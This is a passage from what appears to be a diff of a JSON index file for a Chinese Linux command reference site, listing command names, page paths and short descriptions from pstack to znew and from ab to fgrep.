理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜